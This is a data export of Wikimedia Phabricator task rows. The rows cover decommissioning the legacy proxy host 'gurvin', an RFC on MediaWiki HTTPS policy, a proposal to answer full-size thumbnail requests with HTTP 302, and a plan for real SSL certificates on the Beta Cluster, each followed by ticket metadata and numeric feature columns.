+%%%gurvin is a Wikimedia ISSLPv6 Proxy (ipv6proxy).%%%
+%%%gurvin is a Wikimedia SSL Proxy (sslproxy).%%%
+%%%Linux gurvin 2.6.32-47-server #109-Ubuntu SMP Tue May 7 02:17:05 UTC 2013%%%
+%%%x86_64 GNU/Linux%%%
+%%%Ubuntu 10.04.4 LTS%%%
+%%%this is Tampa, needs to go%%%
+
+
+**Referred To By:**
+{T83156}
+{T83191}
+{T84665}",Medium,50.0,1383172806,1418860800.0,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,False,PHID-TASK-upbofy2q7ravb6knoab6,task_description,resolved,True,c3,1,True,False,True,-88,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+378208,"shutdown/migrate gurvin (ipv6proxy,sslproxy)",Reference by ticket #8774 added by dzahn,,,1414606791,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c3,1,True,,,-36,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+378200,"shutdown/migrate gurvin (ipv6proxy,sslproxy)",//Status changed from 'open' to 'resolved' by dzahn//,,,1384553061,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c3,1,True,,,-85,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+378190,"shutdown/migrate gurvin (ipv6proxy,sslproxy)","%%%On Fri Nov 15 08:24:46 2013, ariel wrote:%%%
+> It was left with salt key, storedconfigs and puppet cert. I removed those.
+%%%thanks Ariel, i meant to say exactly that on IRC but you already did.%%%",,,1384553047,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c3,1,True,,,-85,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+378182,"shutdown/migrate gurvin (ipv6proxy,sslproxy)",//Status changed from 'resolved' to 'open' by RT_System//,,,1384503887,,PHID-USER-j3rt67f2xk5rpkgcegnj,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c3,1,False,,,-85,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+378174,"shutdown/migrate gurvin (ipv6proxy,sslproxy)","%%%It was left with salt key, storedconfigs and puppet cert. I removed those.%%%",,,1384503886,,PHID-USER-jtxavgb3caz53o45csni,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c3,1,True,,,-85,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+378165,"shutdown/migrate gurvin (ipv6proxy,sslproxy)",//Status changed from 'open' to 'resolved' by dzahn//,,,1384477111,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c3,1,True,,,-85,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+378156,"shutdown/migrate gurvin (ipv6proxy,sslproxy)","%%%host is powered down and removed from repos. next steps are wiping etc in%%%
+%%%linked child ticket in pmtpa queue. resolving this.%%%",,,1384477111,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c3,1,True,,,-85,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,1
+378146,"shutdown/migrate gurvin (ipv6proxy,sslproxy)",//Member ticket #6311 added by dzahn//,,,1384477053,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c3,1,True,,,-85,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+378131,"shutdown/migrate gurvin (ipv6proxy,sslproxy)","%%%16:33 < mutante> !log schedule 1yr downtime for unused host 'gurvin' and all%%%
+%%%its services (RT #6135) and shutting it down%%%
+%%%scheduled downtime for it in Icinga, so no notifications, then powered it%%%
+%%%down..and removed from puppet:%%%
+%%%https://gerrit.wikimedia.org/r/#/c/94449/%%%
+%%%then DNS ,, merged by Chris:%%%
+%%%https://gerrit.wikimedia.org/r/#/c/94448/%%%",,,1384476186,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c3,1,True,,,-85,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,1,0,1,1,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,1
+378120,"shutdown/migrate gurvin (ipv6proxy,sslproxy)","%%%On Fri Nov 01 09:47:06 2013, faidon wrote:%%%
+> I think this is some leftover test box that was never given
+> back/reclaimed :( Certainly not used anymore, please apply the
+> lifecycle decom process.
+%%%Chris, can you see if gurvin and yvon have been a couple (installed together)?%%%
+%%%I think if gurvin can go yvon can go as well (linked ticket) since per site.pp%%%
+%%%they both just had the wmf_ca cert left (besides base,ganglia,ntp)%%%",,,1383959225,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c3,1,True,,,-86,True,1,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,0,0,0,1
+378107,"shutdown/migrate gurvin (ipv6proxy,sslproxy)",Reference by ticket #6156 added by dzahn,,,1383957052,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c3,1,True,,,-86,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+378097,"shutdown/migrate gurvin (ipv6proxy,sslproxy)","%%%Chris, this one should be ready to go. see Faidon's comment above.%%%
+%%%here are the changes after it's down:%%%
+%%%https://gerrit.wikimedia.org/r/#/c/94448/1%%%
+%%%https://gerrit.wikimedia.org/r/#/c/94449/1%%%",,,1383955825,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c3,1,True,,,-86,True,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+378086,"shutdown/migrate gurvin (ipv6proxy,sslproxy)",//Given to cmjohnson by dzahn//,,,1383955246,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c3,1,True,,,-86,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+378076,"shutdown/migrate gurvin (ipv6proxy,sslproxy)",//Status changed from 'new' to 'open' by RT_System//,,,1383299227,,PHID-USER-j3rt67f2xk5rpkgcegnj,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c3,1,False,,,-87,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+378065,"shutdown/migrate gurvin (ipv6proxy,sslproxy)","%%%I think this is some leftover test box that was never given back/reclaimed :( Certainly not used anymore, please apply the lifecycle decom process.%%%",,,1383299226,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c3,1,True,,,-87,True,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,1,1,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0
+378053,"shutdown/migrate gurvin (ipv6proxy,sslproxy)",Reference by ticket #6099 added by dzahn,,,1383172815,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c3,1,True,,,-88,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+75953,RFC: MediaWiki HTTPS policy,https://www.mediawiki.org/wiki/Requests_for_comment/MediaWiki_HTTPS_policy,Medium,50.0,1416964345,1536070574.0,PHID-USER-doeppszazlm3r7xah4il,False,PHID-USER-gtqkf7mx7vj4gbx75naw,False,PHID-TASK-ytcg5wg272ww25atixn5,task_description,resolved,True,c3,1,True,False,False,-32,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+475863,RFC: MediaWiki HTTPS policy,"This seems to be more about MediaWiki software than Wikimedia ops, but note that since Wikimedia has switched fully to HTTPS, there are no longer Wikimedia concerns about this (including e.g Zero).",,,1434484875,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ytcg5wg272ww25atixn5,task_subcomment,,True,c3,2,True,,,-3,True,0,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0
+438348,RFC: MediaWiki HTTPS policy,"> The current RFC states that Wikipedia Zero partners often disallow HTTPS. I'm wondering how we can address that.
+
+It's hard to imagine that this is going to be a sustainable policy for long, if it even is today. Wikipedia's transition only contributes to that, and as major media sites transition over the next year, it's only going to become a more and more difficult posture for any organization to take.",,,1428101321,,PHID-USER-nwkhxdtbsjfqvlzuuu66,False,,,PHID-TASK-ytcg5wg272ww25atixn5,task_subcomment,,True,c3,1,False,,,-13,True,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1
+430459,RFC: MediaWiki HTTPS policy,"Ignore it. Wikimedia can put a fork in production if they feel it necessary.
+
+But from the Wikimedia side, a good start would be to stop agreeing to allow HTTPS blocking.",,,1426977626,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ytcg5wg272ww25atixn5,task_subcomment,,True,c3,1,True,,,-15,True,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+430454,RFC: MediaWiki HTTPS policy,The current RFC states that Wikipedia Zero partners often disallow HTTPS. I'm wondering how we can address that.,,,1426977069,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ytcg5wg272ww25atixn5,task_subcomment,,True,c3,1,True,,,-15,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,1,0,0,0
+421006,RFC: MediaWiki HTTPS policy,"ArchiCom meeting:
+- @csteipp , can you update the RFC (see  [[  https://tools.wmflabs.org/meetbot/wikimedia-office/2014/wikimedia-office.2014-11-26-21.01.html | the 2014-11-26 RfC meetbot discussion ]])",,,1425501690,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-ytcg5wg272ww25atixn5,task_subcomment,,True,c3,1,False,,,-18,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,0,1,0,0,1,1,1,0,0,0,0,0,0,1
+421005,RFC: MediaWiki HTTPS policy,"ArchiCom meeting:
+- @csteipp , can you update the RFC (see  [[  https://tools.wmflabs.org/meetbot/wikimedia-office/2014/wikimedia-office.2014-11-26-21.01.html | the 2014-11-26 RfC meetbot discussion ]]",,,1425501675,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-ytcg5wg272ww25atixn5,task_subcomment,,True,c3,1,False,,,-18,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,0,1,0,0,1,1,1,0,0,0,0,0,0,1
+421004,RFC: MediaWiki HTTPS policy,"ArchiCom meeting:
+- @csteipp , can you update the RFC
+- @hashar what are the status of your action items from the [[  https://tools.wmflabs.org/meetbot/wikimedia-office/2014/wikimedia-office.2014-11-26-21.01.html | the 2014-11-26 RfC discussion was meetbot discussion ]]",,,1425501623,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-ytcg5wg272ww25atixn5,task_subcomment,,True,c3,1,False,,,-18,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,1,1,0,0,0,0,0,1
+421003,RFC: MediaWiki HTTPS policy,"ArchiCom meeting:
+- @csteipp , can you update the RFC
+- @hashar status of your action items in the [[  The 2014-11-26 RfC discussion was https://tools.wmflabs.org/meetbot/wikimedia-office/2014/wikimedia-office.2014-11-26-21.01.html | meetbot discussion ]]",,,1425501573,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-ytcg5wg272ww25atixn5,task_subcomment,,True,c3,1,False,,,-18,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,1,0,0,0,0,0,0,1
+421001,RFC: MediaWiki HTTPS policy,"ArchiCom meeting:
+- @csteipp , can you update the RFC
+- @hashar status of your action items in the meetbot discussion",,,1425501534,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-ytcg5wg272ww25atixn5,task_subcomment,,True,c3,1,False,,,-18,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0
+421002,RFC: MediaWiki HTTPS policy,,,,1425501548,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-ytcg5wg272ww25atixn5,task_subcomment,,True,c3,1,False,,,-18,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+420995,RFC: MediaWiki HTTPS policy,,,,1425501272,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-ytcg5wg272ww25atixn5,task_subcomment,,True,c3,1,False,,,-18,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+333524,RFC: MediaWiki HTTPS policy,This RfC is being discussed today. Details: https://lists.wikimedia.org/pipermail/wikitech-l/2014-November/079629.html,,,1417016375,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-ytcg5wg272ww25atixn5,task_subcomment,,True,c3,1,True,,,-32,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+75935,Reply with HTTP 302 (temporarily moved) instead of HTTP 500 when a full-sized thumbnail is requested,"The current MediaWiki behavior, when requesting a thumbnail directly (i.e. by constructing a thumbnail URL, not via the API) is as follows:
+* if the size is smaller than the original image size, the thumbnail is served (assuming the wiki is configured to resize images of that type at all)
+* if the size is larger than the original, a HTTP 500 is returned (except for vector images, where ""original size"" is a pretty vague concept)
+* if the size equals the original, and the thumbnail would be significantly different from the original (more specifically, when mustRender() returns true for that file - e.g. files with EXIF rotations, or files which need to be converted to a different format for browser compatibility), the thumbnail is served
+* if the size equals the original, and the thumbnail would be essentially the same as the original, a HTTP 500 is returned.
+
+The last step is presumably done to avoid wasting storage space on thumbnails when the original file would be just as good (which might or might not be a good idea, see T67383), but it is very confusing from a client point of view and makes it hard to construct a reliable thumbnail URL without having very detailed knowledge of the file. (The API can always be used to retrieve the correct URL, but that has a nontrivial time overhead.) See T70320 for an example of problems caused by this.
+
+A better solution would be to return a HTTP 302 to the original file instead, so that the original is still used instead of a superfluous thumbnail when possible, but requests which do not need to fail don't.",Medium,50.0,1416954443,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,False,PHID-TASK-gcvlv7xchfnzqvrzgbkk,task_description,open,True,c3,1,True,False,,-32,True,1,0,1,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+795472,Reply with HTTP 302 (temporarily moved) instead of HTTP 500 when a full-sized thumbnail is requested,"Change 332425 abandoned by Mholloway:
+thumb.php: Redirect rather than throwing 400 if requested width >= original
+
+Reason:
+Seems not viable as written.  Discussion to be continued on the linked Phab tasks.
+
+[[https://gerrit.wikimedia.org/r/332425]]",,,1485104992,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gcvlv7xchfnzqvrzgbkk,task_subcomment,,True,c3,3,False,,,81,True,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+792300,Reply with HTTP 302 (temporarily moved) instead of HTTP 500 when a full-sized thumbnail is requested,"Change 332425 had a related patch set uploaded (by Mholloway):
+thumb.php: Redirect rather than throwing 400 if requested width >= original
+
+[[https://gerrit.wikimedia.org/r/332425]]
+",,,1484634367,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gcvlv7xchfnzqvrzgbkk,task_subcomment,,True,c3,3,False,,,80,True,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+759284,Reply with HTTP 302 (temporarily moved) instead of HTTP 500 when a full-sized thumbnail is requested,">>! In T75935#2786421, @bearND wrote:
+> Sounds like this is an implementation proposal for T74328.
+
+That task is about asking for a larger size than what exists; this is about asking the same size as the original, but in a wrong way. They should probably handled the same way though.",,,1478803636,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-gcvlv7xchfnzqvrzgbkk,task_subcomment,,True,c3,3,True,,,71,True,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,1
+759274,Reply with HTTP 302 (temporarily moved) instead of HTTP 500 when a full-sized thumbnail is requested,"The ideal solution would be to do this + cache redirects in Varnish and somehow resolve them internally (ie. return the content cached for the redirected URL instead, with a HTTP 200). No idea how hard that is.",,,1478803016,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-gcvlv7xchfnzqvrzgbkk,task_subcomment,,True,c3,3,True,,,71,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,1
+759201,Reply with HTTP 302 (temporarily moved) instead of HTTP 500 when a full-sized thumbnail is requested,Sounds like this is an implementation proposal for T74328.,,,1478799228,,PHID-USER-tjyfydvd4ncrfvvr6mkr,False,,,PHID-TASK-gcvlv7xchfnzqvrzgbkk,task_subcomment,,True,c3,3,False,,,71,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+493150,Reply with HTTP 302 (temporarily moved) instead of HTTP 500 when a full-sized thumbnail is requested,"Also for T77697, having two CDN buckets (one for thumbs and one for originals) would be easier if this special case did not exist. Actual HTTP 200s would be desired for that use case however, rather than 302s.",,,1437166321,,PHID-USER-bmbmvb2e5bg6ztcangbq,False,,,PHID-TASK-gcvlv7xchfnzqvrzgbkk,task_subcomment,,True,c3,3,True,,,2,True,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0
+75919,Setup real ssl certs for Beta Cluster using a restricted project,"This issue has been biting us a lot recently (where ""this issue"" == ""people's browsers requesting https: beta address and it failing""). Let's fix this finally.
+
+
+**Proposal:**
+//(feel free to edit this description with clarifications/additions)//
+1. buy real certs (T50501 and https://rt.wikimedia.org/Ticket/Display.html?id=6116)
+  * Still needs cost approval, @greg can work on that
+  * glorious future of letsencrypt.org would reduce this cost to $0, but we shouldn't wait on that (""Arriving Summer 2015"")
+2. make new labs project, restrict access a lot
+3. just ssl terminate there, proxy back to regular deployment-prep setup
+
+
+
+**This gets us:**
+* Lets us set the config like prod (https by default for login etc)
+* No self-signed certs!
+** no breaking browser tests (though that's fixable)
+** no annoying users with cryptic warnings
+* Members of the Beta Cluster project can have sudo without access to the private certs (see T71269)
+* Resolves:
+** {T70387}
+** {T72145}
